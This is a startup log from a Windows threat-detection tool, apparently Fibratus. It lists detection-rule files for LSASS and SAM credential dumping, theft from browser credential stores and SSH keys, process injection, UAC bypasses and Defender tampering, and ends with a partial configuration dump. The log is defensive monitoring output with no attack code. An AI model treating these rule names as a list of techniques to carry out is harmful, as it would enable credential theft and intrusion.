C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:17:51+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T15:17:51+01:00 level=info msg=bootstrapping with pid 5976. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T15:17:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] mail=>[ port=>25 use-template=>true content-type=>text/html to=>[] enabled=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-vamap=>true buffer-size=>512 enable-image=>true enable-thread=>true enable-fileio=>true max-buffers=>36 enable-handle=>false stack-enrichment=>true min-buffers=>16 flush-interval=>1s enable-registry=>true enable-dns=>false enable-threadpool=>false enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + 